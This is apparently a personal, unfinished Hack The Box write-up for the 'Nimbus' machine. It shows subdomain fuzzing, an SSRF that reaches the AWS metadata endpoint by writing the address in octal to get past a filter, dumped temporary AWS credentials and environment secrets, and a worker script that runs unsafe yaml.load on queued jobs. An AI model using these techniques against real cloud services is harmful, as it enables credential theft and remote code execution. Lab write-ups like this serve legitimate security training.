HTB - Nimbus
Enumeration:
nmap -sV -v @hostip
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.24.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u “http://nimbus.htb” -H “Host: FUZZ.nimbus.htb” -fs 178
aws [Status: 403, Size: 305, Words: 28, Lines: 8, Duration: 27ms]
We get a token invalid error when trying to connect to aws.nimbus.htb. Which is normal since we didn’t attempt any kind of POST header fields. However we have other things to check out before we start making a tokenId field.
The security token included in the request is invalid.
I tried injecting some URLs in the github parsing section. We need something that ends in .yaml, so we’re just going to try something simple that might get us a different error code.
?a=aa.yaml
This doesn’t immediately work but, there is such a thing as 169.254.169.254 on AWS web services, which is running at aws.nimbus.htb. Typing the IP(169.254.169.254) returns an error because of a filter, so we try the other representation like Hex; which didn’t work and octal which gets us a new error code!
Fetched: http://0251.0376.0251.0376/latest/meta-data/iam/security-credentials/ISRM-WAF-Role?a=test.yaml · HTTP 404
This full address was used to exploit CapitalOne in the past, my guess is ISRM-WAF-Role is named differently on the nimbus webserver. We’re gonna need the name here and maybe we get credentials out of this.
ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u “http://nimbus.htb” -X POST -d nimbus_post.txt -e “FUZZ”
Didn’t quite work for me but BURPsuite Intruder did return nimbus-web-role as a legitimate address. Either way, rewritting the -d content should work here and return a code 200 but, we got our answer from intruder.
Entering this on the website URL parser results in:
{ “Code”: “Success”, “LastUpdated”: “2026-06-21T19:15:37Z”, “Type”: “AWS-HMAC”, “AccessKeyId”: “ASIAQX4PG7L2K9M3N5R8”, “SecretAccessKey”: “bXJ7K8mP/q2Hf+vN9wT4LcRe5Y1Aoz3DhU6gKjQs”, “Token”: “IQoJb3JpZ2luX2VjEHQaCXVzLWVhc3QtMSJGMEQCIBhV9zPmK3wQjL4nT8vR2xY7AoFqUk5HsP6BeMcW1aDgAiAR4tNoXzKp8VnJqL7mC3xY9FhWdQ5GBPmRkX2vT8jY6yqsAQiK//////////8BEAEaDDAwMDAwMDAwMDAwMCIMNZ5tQ7vEX2pKlHfqKtoBQwK5HmBcN4gXjVrUe1Pk9YsZ7DqWfThN3bMRoLYyJsKn8GpVxAcQ5VeWk2HiqXbF6CnXmM4PdYpL3rJzKqGtNvBfHcWyXa8jPzTn5LRMkV1QbWdAyKpGfHzNvU8TmEcL2qPdRhJsKgGn3VyXmFbBcNJ7QrHe5VpDxKfM”, “Expiration”: “2026-06-22T01:15:37Z” }
I’m quite sure that these crendentials(TYPE: AWS-HMAC) used for the aws-cli, we should be able to get a foothold using these credentials.
aws configure
We run this command and then fill the different rows with AccessKeyId, SecretAccessKey, Session Token.
aws –endpoint-url http://aws.nimbus.htb sts get-caller-identity
{ “UserId”: “AROAQX4PG7L2K9M3N5R8H:i-0a1b2c3d4e5f6789a”, “Account”: “847219365028”, “Arn”: “arn:aws:sts::847219365028:assumed-role/nimbus-web-role/i-0a1b2c3d4e5f6789a” }
aws –endpoint-url http://aws.nimbus.htb sqs list-queues
{ “QueueUrls”: [ “http://floci:4566/847219365028/nimbus-jobs”] }
When you enter a correctly formatted yaml file you get this message:
Parsed successfully. Job would be submitted to queue nimbus-jobs in region us-east-1, picked up by workers running nimbus/worker.
This seems relevant as it correctly describe what we are working with, we are accessing nimbus-jobs in us-east-1, now I’m assuming we need to write a yaml payload that will run some python on the server and we’re probably going to have to trigger the script through nimbus/worker. For the YAML file, we can’t just run arbitrary python code, the parser uses safe_load() instead of load() which would of been vulnerable and a major misconfiguration, we don’t have that here, we have the more restrictive safe_load(). It seems clear to me we need to obfuscate our code to bypass the safe_load() check, let’s try base64 and if that doesn’t work we could start looking into separating our payload in multiple variables and assembling them in one command or multiple.
Foothold:
Now that we have a functional reverse shell, we want to know everything about our environement, so we run env & find our users AWS credentials, which we are going to use later to try and escalate our privilege to root. We also check out the code for our worker.py in the folder we land in when running a reverse shell and find the use of YAML load() function, which is highly vulnerable and should be (in most cases) replaced with the yaml safe_load() funciton. Obviously, we are going to try and use this flaw to load in arbitrary code to lead to granting us root access of the system.
env
PYTHON_SHA256=272179ddd9a2e41a0fc8e42e33dfbdca0b3711aa5abf372d3f2d51543d09b625
HOSTNAME=3fef1b78d4a6
PYTHON_VERSION=3.11.15
AWS_DEFAULT_REGION=us-east-1
PWD=/app
HOME=/home/worker
LANG=C.UTF-8
LS_COLORS=
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
AWS_SECRET_ACCESS_KEY=dM4nV/q8Hf7LcRpZ2eY1KjBxN5Aozs3T6gU9JfWh
QUEUE_URL=http://aws.nimbus.htb/847219365028/nimbus-jobs
SHLVL=2
AWS_ACCESS_KEY_ID=AKIA7P3R9X4K8M2L5VHN
AWS_ENDPOINT_URL=http://aws.nimbus.htb
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/env
OLDPWD=/
cat ./worker.py
job = yaml.load(body, Loader=yaml.Loader) # vulnerable
if not isinstance(job, dict):
print("[worker] message did not parse to a dict, skipping", flush=True)
return
name = job.get("name", "<unnamed>")
script = job.get("script", "")
print(f"[worker] running job '{name}'", flush=True)
if script:
result = subprocess.run(["python3", "-c", script],
capture_output=True, text=True, timeout=30)
YAML.LOAD IS VERY UNSAFE!! This code has an obvious flaw in it, it just runs arbitrary python code with no bounds. So we’re going to send some malicious script and try to get a privilege escalation.
Didn’t finish:
So I didn’t manage to finish the machine within the allocated time before the machine got moved from the Season 11 release-arena to regular machines. I had a fair idea of what came next but just could not manage to craft and run a properly malicious codebuild script. The codebuild script needs to use an a new container image @ floci/floci:latest and setting the privilegedMode: true. I made a few python scripts trying to reach the api http://floci:4566 but no matter how, I just couldn’t get it to work. I tried a classic modprobe escalation but my code also didn’t seem to run or i wrote it wrong. I’ll probably revisit that machine later, i really enjoyed messing around aws.